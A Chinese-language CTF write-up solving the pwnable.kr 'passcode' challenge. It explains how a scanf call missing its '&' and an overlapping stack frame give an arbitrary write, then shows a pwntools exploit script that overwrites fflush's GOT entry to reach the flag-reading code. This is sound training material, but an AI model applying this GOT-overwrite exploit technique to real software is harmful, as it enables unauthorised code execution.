【pwnable.kr】passcode

题目描述

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

思路

这道题我参考了大佬的才最终做出来。首先在直接运行文件经常出现segmentation fault。通过题目的提示编译了一次源代码,发现scanf的第二个参数没有加取地址符&,从而输入的内容不会存到本以为会存到的位置,而是将那个位置中的内容作为存储的地址。既然输入的passcode并不会真的用于之后的比较,那么无法通过构造passcode来达到目的,从而想到利用第一次输入的name。由于welcome函数和login函数连续被调用,且没有开启aslr,所以它们的ebp是相同的,它们所使用的栈空间有重合的部分。通过查看汇编可以计算出name的最后4位会与passcode1的地址重合。从而passcode1的地址和内容都可控,达到一次任意地址写的目的。
但是由于只有一次写的机会,所以不能构造两个passcode,于是想到覆写got表。只要将其中一个会被调用的got表的地址改为读flag的地址就可以了。
至于最后的实现,有三种方式:

  • 通过pwntools的ssh来实现
    exp如下:
from pwn import *
debug = 0
binary = ELF("./passcode")
fflush_got = binary.got["fflush"]
if debug:
    context.log_level = 'debug'
    p = process("./passcode")
    gdb.attach(p,'b* 0x8048604')
else:
    s = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
    p = s.process('./passcode')
p.recvuntil("enter you name : ")
p.sendline('a'*96+p32(fflush_got))
p.recvuntil('enter passcode1 : ')
p.sendline(str(int(0x80485E3)))
p.interactive()
  • 直接ssh到pwntools用python -c来实现,虽然有多次输入,但是只需要将多次输入一起传进去就可以了
  • 将脚本放在目标主机/tmp文件夹下运行

一些小tip

  • 在pwndbg插件下直接输入got显示got表
  • x/10x addr显示16进制

一些问题

  • 在通过pwntools与gdb调试的时候,在第一个断点直接c或者n指令会卡住
    • 有时候切换页面再切换回来这个问题就解决了,很神奇,如有大神解答感激不尽。
上一篇:阿里内部员工倾情力荐:Java全线成长宝典,从P5到P8一应俱全


下一篇:阿里大佬倾情力荐:Java全线成长宝典,从P5到P8一应俱全